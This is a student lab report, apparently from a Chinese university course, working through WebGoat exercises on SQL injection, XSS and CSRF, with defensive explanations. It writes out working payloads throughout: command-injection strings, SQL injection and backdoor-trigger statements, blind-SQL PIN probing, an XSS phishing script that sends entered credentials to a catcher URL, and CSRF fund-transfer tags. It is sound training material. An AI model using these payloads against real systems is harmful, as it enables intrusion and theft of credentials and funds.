20164313 杜桂鑫 Exp9 Web安全基础
作者:互联网
实验目标:
理解常用网络攻击技术的基本原理
实验内容:
Webgoat实践下相关实验
基础问题回答:
-
SQL注入攻击原理,如何防御?
-
SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。
- 对于SQL注入攻击的防范,我觉得主要还是应该从代码上入手:
- 采用预编译语句集PreparedStatement,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可。它的原理就是SQL注入只对SQL语句的准备(编译)过程有破坏作用,而PreparedStatement已经准备好了,执行阶段只是把输入串作为数据处理,而不再对SQL语句进行解析准备,因此也就避免了SQL注入问题;
- 使用正则表达式过滤传入的参数,对一些包含sql注入的关键字进行过滤;
- 采用字符串过滤的方法;
- JSP中调用该函数检查是否包含非法字符,防止SQL从URL注入。
-
-
XSS攻击的原理,如何防御?
- XSS是代码注入的一种,它允许恶意用户将代码注入到网页上,并能够被浏览器成功的执行,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。XSS攻击的主要目的是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的身份登陆,做一些破坏。
- XSS的防御可以从以下两方面来进行:
- 一种方法是在表单提交或者url参数传递前,对需要的参数进行过滤;
- 检查用户输入的内容中是否有非法内容,如尖括号、引号等,严格控制输出。
3.CSRF攻击原理,如何防御?
- 我们知道XSS是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息。而CSRF是借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”。
- 对于CSRF的防御也可以从以下几个方面入手:
- 通过referer、token或者验证码来检测用户提交;
- 尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post操作;
- 避免全站通用的cookie,严格设置cookie的域。
实验步骤:
一、WebGoat配置
进入https://github.com/WebGoat/WebGoat/releases?after=8.0.0网站
下载 webgoat-container-7.0.1-war-exec.jar
输入 java -jar webgoat-container-7.0.1-war-exec.jar 安装jar包
看到上图红框中信息后打开浏览器登陆 http://localhost:8080/WebGoat 网站。
emmm...并无实验内容,查阅资料得知因为kali缺少相应jdk包,安装相应jdk包后
重新登录
登录成功
二、SQL注入攻击(Injection Flaws)
1.命令注入(Command Injection)
- 选择 Injection Flaws -> Command Injection
右键页面中复选框,选择inspect Element审查网页元素对源代码进行修改,在末尾添加"& netstat -an & ipconfig"
- 点击 view,看到网络端口使用情况和 IP 地址,攻击成功
2.数字型注入(Numeric SQL Injection)
- 选择 Injection Flaws -> Numeric SQL Injection
右键页面中复选框,选择inspect Element审查网页元素对源代码value="101"
进行修改,在城市编号101后面添加or 1=1
- 点击 Go,可以看到攻击成功
3.日志欺骗(Log Spoofing)
-
- 选择 Injection Flaws -> Log Spoofing
- 在User Name中输入dgx
%0d%0aLogin Succeeded for username: admin
利用0D%(回车)和%0A(换行)让其在日志中显示两行 - 输入任意密码后点击 Login,成功将用户名追加到日志文件中。
4.SQL 注入(LAB: SQL Injection)
stage 1:String SQL injection
-
- 选择 Injection Flaws -> String SQL Injection,右键页面将password密码框,选择inspect Element审查网页元素对源代码进行修改,将其最大长度限制改为20
-
- 以用户Neville登录,输入密码
Smith' or '1' = '1
- 攻击成功,得到所有人员列表
- 以用户Neville登录,输入密码
5.数据库后门(Database Backdoors)
-
- 选择 Injection Flaws -> Database Backdoors
- 输入
101
,得到该用户的信息
-
- 输入注入语句
101; update employee set salary=10000
- 输入注入语句
-
- 输入
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid
设置触发器
- 输入
6.盲数字SQL注入(Blind Numeric SQL Injection)
- 服务端页面返回的信息有两种:帐号有效,账号无效,因此无法简单地查询到帐号的 PIN 数值。但可以利用系统后台在用的查询语句
SELECT * FROM user_data WHERE userid=accountNumber;
如果返回了帐号的信息,页面将提示帐号有效,否则提示无效。 - 输入
101 AND 1=1
页面返回帐号有效
-
-
输入
101 AND 1=2
第二个条件不成立,页面返回帐号无效
-
-
-
输入
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
页面返回帐号无效,说明PIN<=10000
-
-
- 多次尝试输入,输入
2364
为正确PIN值
- 多次尝试输入,输入
7.字符串注入(String SQL Injection)
正常情况下只能查询到用户名对应的信用卡号码
-
- 输入查询的用户名
Smith' or 1=1--
(Smith 和1=1都成了查询的条件,而1=1是恒等式,因此能查询到表里面的所有数据) -
得到所有用户的信用卡号码,攻击成功!
- 输入查询的用户名
二、XSS攻击
1.XSS 钓鱼(Phishing with XSS)
-
- 使用XSS和HTML写一个简单的带form的网站,要求填写用户名和密码。
-
编写一个带用户名和密码输入框的表格
<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>
-
- 编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat
function hack() { alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script>
-
- 将两段代码合并后,在 XSS - > Phishing with XSS搜索上面代码,在显示的表单中输入用户名和密码,登录后WebGoat会将输入的信息捕获并反馈给我们。
2.存储型XSS攻击(Stored XSS Attacks)
-
- 在title中任意输入字符,留言板中输入
<script>alert("du4313");</script>
- 在title中任意输入字符,留言板中输入
3.反射型XSS攻击(Reflected XSS Attacks)
-
- 输入代码
<script>alert("du4313");</script>
点击purchase的同时页面就给出了反馈
- 输入代码
三、CSRF攻击
1.跨站请求伪造(Cross Site Request Forgery (CSRF))
-
- 查看页面右侧Parameters中的src和menu值,分别为2078372和900
- 在title中输入任何参数,message框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=5000" width="1" height="1" />
-
- 点击 Submit (其中语句中的&transferFunds=5000,即转走的受害人的金额;宽高设置成1像素的目的是隐藏该图片)
2.绕过 CSRF 确认( CSRF Prompt By‐Pass)
-
- 查看页面右侧Parameters中的src和menu值分别为1471017872和900
- 在title框中输入学号,message框中输入代码:
-
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=1471077872&menu=900&transferFunds=CONFIRM"> </iframe>
点击链接,攻击成功
实验感想:
本次实验较为简单,只要阅读WebGoat网站中实验教程就可一一做出来,总体没有遇到较大的困难。
标签:20164313,Web,Exp9,XSS,攻击,SQL,Injection,输入,页面 来源: https://www.cnblogs.com/duduxin/p/10901612.html